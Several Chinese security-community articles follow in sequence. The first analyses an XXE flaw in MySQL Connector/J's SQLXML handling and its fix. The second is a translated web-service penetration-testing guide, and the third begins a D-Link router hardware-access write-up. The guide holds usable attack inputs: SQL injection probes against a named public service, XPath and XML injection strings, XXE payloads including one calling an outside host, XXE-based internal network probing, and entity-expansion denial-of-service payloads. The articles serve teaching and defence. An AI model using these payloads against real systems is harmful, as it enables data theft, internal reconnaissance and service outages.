return (T) new DOMSource(builder.parse(inputSource));
}
...
} else if (clazz.equals(StreamSource.class)) {
...
return (T) new StreamSource(reader);
} else if (clazz.equals(StAXSource.class)) {
...
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
...
我们再看看`DOMSource`部分的具体实现,并没有在`parse`前做防护处理，并且`inputSource`可以由`this.stringRep`参数控制。
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new DOMSource(builder.parse(inputSource));
而在`setString`中为`stringRep`属性赋值，所以此处可以造成XXE漏洞。
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();
this.stringRep = str;
this.fromResultSet = false;
}
但是分析到这里就结束了吗？我认为要真正了解这个漏洞，还需要解决下面的几个问题：
* `MysqlSQLXML`的功能是什么？为什么`getSource`中会解析XML?为什么只有`DomSource`会进行`parse`，其他的没有？
* 在什么样的场景下会调用`MysqlSQLXML#getSource`？
* 为什么只在`MYSQL`的`SQLXML`中出现了问题？其他数据库的`SQLXML`没有漏洞吗？
## 思考
要理清上面的问题，首先我们得了解`SQLXML`是什么东西，为什么要引入它。
### SQLXML
在开发的过程中，可能会需要在数据库中存储和检索`XML`文档，因此引入了SQLXML类型，SQLXML提供了 String、Reader、Writer 或
Stream 等多种形式访问XML值的方法。
* **getBinaryStream** 以流的形式获取此 SQLXML 实例指定的 XML 值。
* **getCharacterStream** 以 java.io.Reader 对象的形式获取此 SQLXML 实例指定的 XML 值。
* **getString** 返回此 SQLXML 实例指定的 XML 值的字符串表示形式。
我们可以通过ResultSet、CallableStatement 、PreparedStatement
中的`getSQLXML`方法获取SQLXML对象。
SQLXML sqlxml = resultSet.getSQLXML(column);
InputStream binaryStream = sqlxml.getBinaryStream();
再通过XML解析器解析XML
DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document result = parser.parse(binaryStream);
SAXParser parser = SAXParserFactory.newInstance().newSAXParser();
parser.parse(binaryStream, myHandler);
除了上述的处理方式外，也可以`getSource`和`setResult`直接进行XML处理，而不需要转换成流并调用解析器解析XML。
比如直接对`DOM Document Node`进行操作。
//获取Document Node
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
//设置Document Node
DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);
或者通过`sax`解析
SAXSource saxSource = sqlxml.getSource(SAXSource.class);
XMLReader xmlReader = saxSource.getXMLReader();
xmlReader.setContentHandler(myHandler);
xmlReader.parse(saxSource.getInputSource());
### 为什么`DOMSource`会出现问题？
首先我们看下当调用`getSource`时，不同类型的返回Source的代码。
return (T) new SAXSource(inputSource);
return (T) new DOMSource(builder.parse(inputSource));
return (T) new StreamSource(reader);
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
不同的`Source`为什么接收的数据类型不相同，这里需要了解不同的解析方式。
> DOM:DOM是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常
> **需要加载整个文档和构造层次结构，然后才能做任何工作** 。
>
> SAX:SAX是一种 **基于流的推分析方式** 的XML解析技术，分析能够立即开始，而不是等待所有的数据被处理， **应用程序不必解析整个文档** ；
>
> StAX：StAX就是一种 **基于流的拉分析式**
> 的XML解析技术,只把感兴趣的部分拉出，不需要触发事件。StAX的API可以读取和写入XML文档。使用SAX API，XML可以是只读的。
>
> **推模型**
> ：就是我们常说的SAX，它是一种靠事件驱动的模型。当它每发现一个节点就引发一个事件，而我们需要编写这些事件的处理程序。这样的做法很麻烦，且不灵活。
>
> **拉模型** ：在遍历文档时，会把感兴趣的部分从读取器中拉出，不需要引发事件，允许我们选择性地处理节点。这大大提e高了灵活性，以及整体效率。
从`Dom`解析的特性来讲，必须一次性将`Dom`全部加载到内存中才能操作，而不是像其他类型，可以在使用时再去处理，因此在构建`DomSource`对象时需要先将`Dom`先整体解析后才能使用。
### 如何触发漏洞？
之前已经分析过一种方式，直接通过`setString`设置即可触发,下面是广为流传的`POC`
String poc = "<?xml version=\"1.0\" ?>\n" +
"<!DOCTYPE r [\n" +
"<!ELEMENT r ANY >\n" +
"<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
"]>\n" +
"<r>&sp;</r>";
Connection connection =
DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root","xxxxx");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
虽然上面的方式确实可以触发漏洞，但是我觉得在真实环境中应该不会有人这么写， **所以我们应该思考下有没有其他的方式触发漏洞？**
我们结合一下SQLXML的使用场景，是在操作数据库中的XML数据而产生的，所以正常情况下 **应该是操作数据库中的XML数据而导致的XXE漏洞**
。所以我认为下面的POC更符合真实场景，其中`DataXML`字段中保存着我们的`payload`。
Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666", "root",
"xxxxxxx");
String sql = "SELECT DataXML from config";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
rs.next();
SQLXML xml=rs.getSQLXML("DataXML");
DOMSource=xml.getSource(DOMSource.class);
### 是否由其他方式会导致漏洞？
我们还是看`getSource`方法，当内容为`SAXSource`直接将`InputSource`作为参数传给了`SaxSource`，所以从这来看没有明显的问题。
if (clazz == null || clazz.equals(SAXSource.class)) {
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new SAXSource(inputSource);
这里创建`SAXSource`并没有设置`XmlReader`，因为设置XML解析防御的策略在`XmlReader`中，所以看不出来是否存在漏洞。
再看看`StAXSource`，这里是否会导致漏洞取决于`this.inputFactory`属性中保存的`XMLInputFactory`对象，但是虽然`MysqlSQLXML`中有`inputFactory`属性，但是并没有设置这个属性的方法或者操作，而是否在开启XXE的防御是在`XMLInputFactory`对象中设置的，所以这里也看不出来是否有漏洞。
} else if (clazz.equals(StAXSource.class)) {
try {
Reader reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
} catch (XMLStreamException ex) {
SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this.exceptionInterceptor);
throw sqlEx;
}
### 为什么SQLSERVER和ORACLE的数据库连接没问题？
#### mssql-jdbc
首先看`mssql-jdbc`是怎么处理的,主要逻辑在`SQLServerSQLXML#getSource`中，判断类型是否为`SteamSource`，如果不是则调用`getSourceInternal`处理。`getSourceInternal`根据不同的类型调用不同的处理方法。
public <T extends Source> T getSource(Class<T> iface) throws SQLException {
this.checkClosed();
this.checkReadXML();
if (null == iface) {
T src = this.getSourceInternal(StreamSource.class);
return src;
} else {
return this.getSourceInternal(iface);
}
}
<T extends Source> T getSourceInternal(Class<T> iface) throws SQLException {
this.isUsed = true;
T src = null;
if (DOMSource.class == iface) {
src = (Source)iface.cast(this.getDOMSource());
} else if (SAXSource.class == iface) {
src = (Source)iface.cast(this.getSAXSource());
} else if (StAXSource.class == iface) {
src = (Source)iface.cast(this.getStAXSource());
} else if (StreamSource.class == iface) {
src = (Source)iface.cast(new StreamSource(this.contents));
} else {
SQLServerException.makeFromDriverError(this.con, (Object)null, SQLServerException.getErrString("R_notSupported"), (String)null, true);
}
return src;
}
##### getDOMSource
这里确实也会解析`Document`，但是在解析前设置了`secure-processing`,这里应该是防御了XXE漏洞。
private DOMSource getDOMSource() throws SQLException {
Document document = null;
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
MessageFormat form;
Object[] msgArgs;
try {
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
DocumentBuilder builder = factory.newDocumentBuilder();
builder.setEntityResolver(new SQLServerEntityResolver());
try {
document = builder.parse(this.contents);
...
DOMSource inputSource = new DOMSource(document);
return inputSource;
...
}
##### getSAXSource
`getSAXSource`在创建`SAXParserFactory`后并没有设置属性来进行安全操作，因此这种方式可能会存在漏洞。
private SAXSource getSAXSource() throws SQLException {
try {
InputSource src = new InputSource(contents);
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
SAXSource saxSource = new SAXSource(reader, src);
return saxSource;
} catch (SAXException | ParserConfigurationException e) {
MessageFormat form = new MessageFormat(SQLServerException.getErrString("R_failedToParseXML"));
Object[] msgArgs = {e.toString()};
SQLServerException.makeFromDriverError(con, null, form.format(msgArgs), null, true);
}
return null;
}
虽然单纯从`getSAXSource`函数中并没有直接解析，但是用户在使用下面的代码时，则默认可能会导致XXE漏洞。
SQLXML xmlVal= rs.getSQLXML(1);
SAXSource saxSource = sqlxml.getSource(SAXSource.class);
XMLReader xmlReader = saxSource.getXMLReader();
xmlReader.setContentHandler(myHandler);
xmlReader.parse(saxSource.getInputSource());
虽然看起来是有问题的，但当我通过SQLSERVER创建XML类型数据并插入payload时，却爆了`不允许使用内部子集 DTD 分析 XML。请将
CONVERT 与样式选项 2 一起使用，以启用有限的内部子集 DTD
支持。`在SQLSERVER插入`XML`类型数据时中不允许使用DTD,所以无法插入恶意的payload。所以
**后面的解析方式也可以不看了，无法造成XXE漏洞** 。
#### oracle-ojdbc
查了下资料似乎没有找到关于`SQLXML`的支持，所以自然也不存在漏洞。
### mysql-jdbc如何修复漏洞？
#### DOMSource
DOMSource解析前加上了开启了防御，所以解决了这个漏洞。
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities", false);
setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities", false);
setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);
builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
DocumentBuilder builder = builderFactory.newDocumentBuilder();
return new DOMSource(builder.parse(this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep))));
} catch (Throwable var5) {
sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009", var5, this.exceptionInterceptor);
throw sqlEx;
}
#### SAXSource
这里也发生了改变，之前分析`.26`版本时，并没有创建`XMLReader`，所以没有漏洞，在更新中创建了`XmlReader`并进行了安全设置。
try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
} | 社区文章 |
# 【技术分享】Web Service 渗透测试从入门到精通
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/41888.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、Web Service的含义及使用范围**
Web Service覆盖的范围非常广泛，在桌面主机、Web、移动设备等领域都可以见到它的身影。任何软件都可以使用Web
Service，通过HTTP协议对外提供服务。
在Web
Service中，客户端通过网络向服务器发起请求，Web服务器按照适当的格式（比如JSON、XML等）返回应答数据，应答数据由客户端提供给最终的用户。
提及Web Service时，我们首先需要解释以下概念：
SOAP（Simple Object Access Protocol，简单对象访问协议）型Web Service。SOAP型的Web
Service允许我们使用XML格式与服务器进行通信。
REST（Representational State Transfer，表征性状态转移）型Web Service。REST型Web
Service允许我们使用JSON格式（也可以使用XML格式）与服务器进行通信。与HTTP类似，该类型服务支持GET、POST、PUT、DELETE方法。
WSDL（Web Services Description Language，网络服务描述语言）给出了SOAP型Web
Service的基本定义，WSDL基于XML语言，描述了与服务交互的基本元素，比如函数、数据类型、功能等，少数情况下，WSDL也可以用来描述REST型Web
Service。
WADL（Web Application Description Language，网络应用描述语言）就像是WSDL的REST版，一般用于REST型Web
Service，描述与Web Service进行交互的基本元素。
**二、为什么写这篇文章**
BGA团队专注于对机构、组织开放的Web应用、外部IP地址以及Web Service进行安全测试。
在渗透测试中，我们看到Web Service的应用范围越来越多广，但人们在使用Web
Service时，并没有特别关注安全问题。出于这个原因，人们部署的Web Service中经常会出现重大安全漏洞。
我们将在本文中讨论Web Service渗透测试工作中经常遇到的技术和逻辑相关问题。
**三、如何发现Web Service**
我们可以使用以下方式发现Web Service：
1、使用代理软件，检查所捕获的数据。
2、通过搜索引擎探测Web应用程序暴露的接口（比如目录遍历漏洞、lfi（本地文件包含）等）。
3、爬取并解压swf、jar等类似文件。
4、模糊测试。
可根据实际情况选择所使用的具体方法。
举个例子，我们可以使用swf intruder工具，反编译某个.swf文件，从中挖掘Web Service的WSDL地址，如下图所示：
代理软件可以用来探测应用程序所使用的Web Service。
下图是在BurpSuite中设定的过滤规则，用来筛选抓包数据中的Web
Service地址。我们可以通过搜索与表达式相匹配的数据，探测诸如“.dll?wsdl”、“.ashx?wsdl”、“.exe?wsdl”或者“.php?wsdl”等等的Web
Service地址。
探测Web Service的另一种方法是使用搜索引擎，比如Google。比如，我们可以通过以下搜索语句在Google中找到Web Service：
Search string: filetype:asmx inurl:(_vti_bin | api | webservice | ws )
Search string: allinurl:dll?wsdl filetype:dll
对于Bing搜索引擎，我们可以使用以下语句查找Web Service：
asmx?wsdl site:us
我们也可以使用Wfuzz工具，查找Web Service，命令如下：
wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z
file,../general/common.txt -z file,ws-files.txt http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z
我们可以通过“-p”参数，同时使用多个代理，以达到负载均衡。最后使用的代理服务器地址将会在tor网络中使用。
-p IP:port-IP:port-IP:8088
通过查看HTTP响应状态代码，从各个方面分析响应报文，我们可以找到正确的服务地址。根据上图结果，我们找到的Web Service如下图所示：
“wsdl”地址有时候可以是“.wsdl”，不一定都是“?Wsdl”形式。我们在搜索时要注意到这一点。比如，我们可以通过如下搜索语句，探测Web
Service：
filetype:wsdl
**四、Web Service中的渗透测试工具**
我们可以操纵Web Service方法的具体参数，挖掘其中存在的各种技术和逻辑漏洞。我们可以使用以下专业工具对常见的Web Service进行渗透测试。
比如，我们可以下载OWASP Zed Attack Proxy的SOAP Scanner插件，对SOAP型Web Service进行测试。
指定URL或WSDL地址，我们可以载入与Web Service相关的一些方法。
如下图所示，我们可以看到与Web Service有关的所有方法。
例如，某个Web Service请求如下所示：
对应的响应如下所示：
此外，我们还可以使用Firefox的RESTClient插件对REST型的Web
Service进行测试。通过RESTClient插件，我们可以使用POST和GET方法来查询目标系统相关信息。我们也可以使用插件中的Basic
Auth或自定义头部等等其他附加功能。如下所示：
简单汇总一下，我们可以使用以下工具对Web Service进行渗透测试。
WebScarap
SoapUI
WCFStorm
SOA Cleaner
WSDigger
wsScanner
Wfuzz
RESTClient
BurpSuite
WS-Attacker
ZAP
Metasploit
WSDL Analyzer
我们可以合理搭配使用SoapUI以及BurpSuite这两个工具，以获得非常完美的渗透测试结果。
与BurpSuite一样，SoapUI工具可以作为代理使用，这也是这两款工具在渗透测试中经常使用的原因所在。
现在，举个具体例子，说明我们如何通过SoapUI访问Web Service，并将请求转发给BurpSuite。
首先启动SoapUI软件，创建一个新的SOAP工程。在“Initial
WSDL”一栏填入WSDL地址（本例中，我们可以使用“http://zero.webappsecurity.com/webservices/infoService?wsdl”这个地址，该Web
Service存在漏洞）。
如下图所示，我们已经成功导入Web Service。SoapUI对给定的WSDL地址进行解析，以创建Web Service函数及请求。
点击“File->Preferences”菜单，打开“Proxy Settings”，指向BurpSuite的地址，如下所示：
如果后续请求中涉及函数列表中的任意函数，BurpSuite可以成功捕获这些请求。
**五、Web Service渗透测试中可能会发现的漏洞**
在这一部分，我们将讨论在Web Service渗透测试中可能会发现的漏洞。
如果我们已知某个Web应用漏洞，且该漏洞在Web Service渗透测试中可能存在，那么我们应该在测试流程中将其考虑在内。
比如，在Web应用程序中存在的“用户枚举（User Enumeration）”漏洞或“全路径泄露（Full Path
Disclosure）”漏洞也可能在Web Service中存在。
**5.1 Web Service中的注入漏洞**
**5.1.1 SQL注入漏洞**
Web Service中的SQL注入（SQLi）漏洞与普通Web渗透测试中漏洞并无区别。
我们需要仔细检查Web Service中所有函数的所有参数，检查它们是否受到SQLi漏洞影响。
我们以“http://www.thomas-bayer.com/sqlrest/”这个RESTful Web
Service为例，分析该服务存在的SQLi漏洞。我们使用Firefox中的RESTClient插件检测SQLi漏洞。
我们的目标是“http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id”中的id参数，我们可以构造某些SQLi载荷，发往该地址，解析返回的结果。
正常的id值为23，我们使用的测试载荷为：
23 AND 1=1
测试地址为：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=1/
返回结果为：
我们没有看到任何错误页面，貌似SQL服务器正确处理了这个请求逻辑。
更换测试载荷，如下所示。
23 AND 1=0
测试地址为：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=0
返回结果为：
如果载荷不满足SQL查询条件，服务器会返回404响应报文。
我们发送如下载荷，并最终获得了服务器上的所有用户名。
23 OR 1=1
测试地址：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20OR%201=1
包含用户名的服务器响应如下：
我们可以通过这种方法，手动检查SQLi漏洞。我们可以先向目标系统发送一段简单载荷，检查响应内容，确定Web Service对应的函数是否存在SQLi漏洞。
**5.1.2 XPath注入漏洞**
XPath是服务端查询以XML格式存储的数据时所使用的查询语言。
string(//user[username/text()='bga' and password/text()='bga']/account/text())
例如，对于上述查询语句，如果发送的测试载荷为“1 'and' 1 '=' 1 and 1 'and' 1 '='
2”，那么经过逻辑处理后，返回的响应为“TRUE”，否则，返回的响应为“FALSE”。
我们以“https://github.com/snoopythesecuritydog/dvws/”为例，分析该应用存在的XPATH注入漏洞。
开发者使用的应该是PHP语言，如下所示：
代码中读取的“accountinfo.xml”文件内容如下所示：
当我们试图使用“bga:1234”凭证登陆该页面时，我们看到如下的错误信息：
然而，我们可以使用“1' or '1' = '1”作为用户及密码的输入载荷，发现该页面存在XPATH注入漏洞：
**5.1.3 XML注入漏洞**
XML是一种数据存储格式，如果服务器在修改或查询时没有进行转义处理，直接输入或输出数据，将会导致XML注入漏洞。攻击者可以篡改XML数据格式，增加新的XML节点，对服务端数据处理流程造成影响。
Input: 2
<product>
<name>Computer</name>
<count>2</count>
<price>200$</price>
</product>
上述XML中，我们可以在服务器应答包中的“count”节点找到请求中的输入值。
如果我们修改输入值，那么我们可以看到返回结果中，“price”节点的值已经被成功篡改。
Input: 2</count><price>0$</price></product>
<product>
<name>Computer</name>
<count>2</count><price>0$</price></product>
...
**5.1.4 XXE注入漏洞**
XXE（XML External Entiry
Injection，XML外部实体注入）漏洞是在对非安全的外部实体数据进行处理时所引发的安全问题。实体是XML文档结构中定义的一个概念，可以通过预定义在文档中调用。利用XML提供的实体特性，攻击者可以使用XXE漏洞读取本地文件。
XXE注入漏洞中，发往服务器的XML载荷如下所示：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
我们以 “QIWI.ru”网站的SOAP型Web Service为例，分析其中的XXE漏洞（该漏洞由某位安全研究人员发现，具体研究报告可以参考此处资料）。
攻击者发往“https://send.qiwi.ru/soapserver”地址的载荷为：
POST /soapserver/ HTTP/1.1
Host: send.qiwi.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 254
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://bitquark.co.uk/?xxe">]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<getStatus>
<id>&xxe;</id>
</getStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
关于XXE漏洞的更多信息，读者可以参考这里的相关资料。
**5.2 Web Service中的控制问题**
**5.2.1 未授权访问冲突**
当我们统计渗透测试的结果时，我们会发现未授权访问漏洞在Web Service中非常常见。主要的原因在于开发人员不认为未授权用户是攻击者，且理所当然认为Web
Service是一个足够安全的环境。
为了避免这类漏洞存在，发往服务器的请求中必须包含令牌值或令牌信息（如用户名及密码信息）。
此外，与Web Service有关的所有函数都应该要求请求报文中包含用户会话信息。
**5.2.2 未限制函数使用范围**
Web Service中常见的一个问题就是不对函数的使用范围进行限制。这会导致以下问题存在：
1、暴力破解攻击
2、填充篡改数据库
3、滥用服务器赋予用户的权限
4、消耗服务器资源造成DDoS攻击
**5.3 Web Service中的业务逻辑漏洞**
此类漏洞的存在原因在于Web应用缺乏标准，每个开发人员所开发的Web应用各不相同。
因此，这是个漫长且无止境的话题。我们可以通过几个例子来稍加说明。
比如，我们来研究一下Twitter的RESTful Web Service中存在的漏洞（具体细节可以参考这个报告）。
某个用户删除了Twitter上的一条私信（Direct
Message，DM）。当他查看DM信息时，发现这条信息已不再存在。然而，通过Twitter提供的REST命令行接口，我们发现只要提供已删除DM的id，我们就可以读取这条DM信息，然而根据业务处理流程，这条DM此时并不应该存在。
Web Service中经常存在的另一类问题就是，在服务器的最终应答报文中，包含客户端先前请求报文中的某些信息，这种情况在手机或平板应用中经常存在。
开发者之所以将密码保存在设备本地中，就是希望用户在每次登录应用时，都向本地数据库发起查询，以避免因为网络原因导致登录失败。
BGA团队对移动或平板应用渗透测试时，发现某个服务器的密码重置功能在返回给客户端的响应报文中包含密码信息，且该密码会被存储在设备本地中。
我们对土耳其某个著名电子商务网站进行测试时，找到了移动和平板应用所使用的WSDL地址以及某个存在用户信息泄露的函数。通过该函数接口，客户端不仅能够获取目标用户的邮件地址，甚至还能在响应消息中找到用户的密码信息。利用这种漏洞，攻击者可以窃取任何已知用户的凭证。
这种敏感信息不应该在Web Service的应答报文中存在。有时候虽然攻击者无法从攻击网站中获取任何信息，他们却可以借助移动或平板应用中Web
Service漏洞，对整个系统造成危害。
**5.4 Web Service中的会话重放漏洞**
此类漏洞的存在原因在于攻击者对同一网络上的用户实施MITM（中间人）攻击，从拦截的数据中嗅探用户会话信息。
不安全的协议（比如基于HTTP的Web Service广播）中会存在此类漏洞。Web Service可以为每个用户提供一个会话ID（Session
ID，SID）来规避这种漏洞，另一种解决办法就是在允许用户登录的所有发往服务器的请求中都捎带用户会话信息。
对于没有使用SSL的Web Service，如果会话的SID值被网络中的其他人获取，则可能会受到会话重放攻击影响。
**5.5 Web Service中的SSRF漏洞**
SSRF（Server-Side Request
Forgery，服务端请求伪造）漏洞指的是攻击者通过在服务端创建伪造的请求，以间接方式执行那些无法从外部直接执行的操作。
例如，攻击者可以利用SSRF漏洞，探测服务器上某些无法从外部扫描发现的端口信息。此外，攻击者也可以利用SSRF漏洞读取服务器的本地文件、向另一台服务器发起DDoS攻击、发起DNS查询请求等。
以“https://github.com/snoopythesecuritydog/dvws/”为例，我们可以利用该地址中存在的XXE漏洞，向某些内部地址发起请求并对响应报文进行分析。
当我们点击下图中的“Print Greeting”按钮时，我们会收到服务器返回的一条信息。
通过BurpSuite，可以看到我们往服务器发送了一个带有XML数据的请求。
我们可以用XXE攻击载荷替换其中的XML数据，判断服务器网络中是否存在某台主机。
在如下的攻击载荷中，我们使用了“192.168.1.10”地址，服务器本地网络中并不存在使用该IP地址的主机。我们将攻击载荷发往存在SSRF漏洞的服务器。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo>
因为无法访问此IP地址，服务器返回如下错误信息：
然而，如果我们将载荷中的IP修改为“192.168.1.2”，服务器不会返回任何错误页面，表明服务器可以访问该IP地址。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>
**5.6 Web Service中的拒绝服务（DoS）漏洞**
客户端发送的XML数据会由服务端的XML解析器进行解析和处理。目前有两类XML解析器，分别为基于SAX（Simple API for
XML）的XML解析器以及基于DOM（Document Object Model）的XML解析器。
基于SAX的解析器在工作时，内存中最多容纳2个元素。在这种情况下，基于SAX的解析器不会存在拒绝服务问题。
基于DOM的解析器会一次性读取客户端存储的所有XML数据。因此会导致内存中存在庞大的对象数据。这种情况下，我们难以避免拒绝服务器攻击。导致这种漏洞存在的原因在于我们没有检查XML中节点的大小和数量。
例如，攻击者可以使用如下载荷发起针对元素名称的攻击。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
攻击者可以使用如下载荷发起针对元素属性的攻击。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA attribute=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
攻击者可以使用如下载荷发起针对元素个数的攻击（也可以通过重复某个特定元素达到同样效果）。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA attribute1=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA” attribute2=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA” attribute3=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>
当XXE攻击奏效时，也可以引发服务拒绝漏洞。
攻击者可以使用如下载荷发起DDoS攻击。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bga [
<!ELEMENT ANY >
<!ENTITY bga1 "bga1">
<!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;">
<!ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;">
<!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;">
<!ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;">
<!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;">
]>
<bga>&bga6;</bga>
从载荷中可知，攻击者定义了一些XML实体，并在最后引用了bga6实体。bga6实体引用了6次bga5实体，同样，每个bga5实体也引用了6次bga4实体，以此类推。
当发往服务端的载荷中这类实体的数量和引用次数非常巨大时，服务端的XML解析器负载将大大提高，导致服务器在一段时间内无法响应客户端请求，最终达到拒绝服务攻击效果。 | 社区文章 |
# D-Link 816-A2 路由器研究分享
##### 译文声明
本文是翻译文章，文章原作者 平安银河实验室，文章来源：平安银河实验室
原文地址：<http://galaxylab.com.cn/d-link-816-a2-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%A0%94%E7%A9%B6%E5%88%86%E4%BA%AB/>
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 设备基础信息
设备硬件: D-Link 816-A2固件版本: 1.11固件下载地址:
http://forums.dlink.com/index.php?topic=74118.0
## 2\. 基础准备工作
### 2.1. 焊接UART接口获取shell
通过拆卸焊接UART接口并测量电压后可以得到如下图所示的UART接口线序。
通过连接串口转换器后，可以使用任意串口管理软件连接转换器查看信息，通过串口可以看到D-Link路由器启动时的引导信息
等系统成功引导以后按下回车键就就可以拿到root权限的shell了。
### 2.2. 上传测试工具
D-Link 816-A2路由器的busybox
shell经过了裁剪，没有wget，curl，netcat等各种方便上传工具的命令，只能通过tftp命令进行上传。因此这边可以考虑通过上传一个针对路由器CPU架构静态编译的busybox后即可使用更多的通用命令了。#
在本机上用python运行tftp, 可以使用pip安装
sudo ptftpd -p 69 en7 -D ./static_tools
sudo ptftpd -r -p 69 en7 -D ./# 上传静态编译的mips工具
tftp -g -r mips/busybox.mipsel 192.168.0.200
tftp -g -r mips/gdbserver.mipsle 192.168.0.200# 赋予工具可执行权限
chmod +x ./*2.3. 打包系统文件
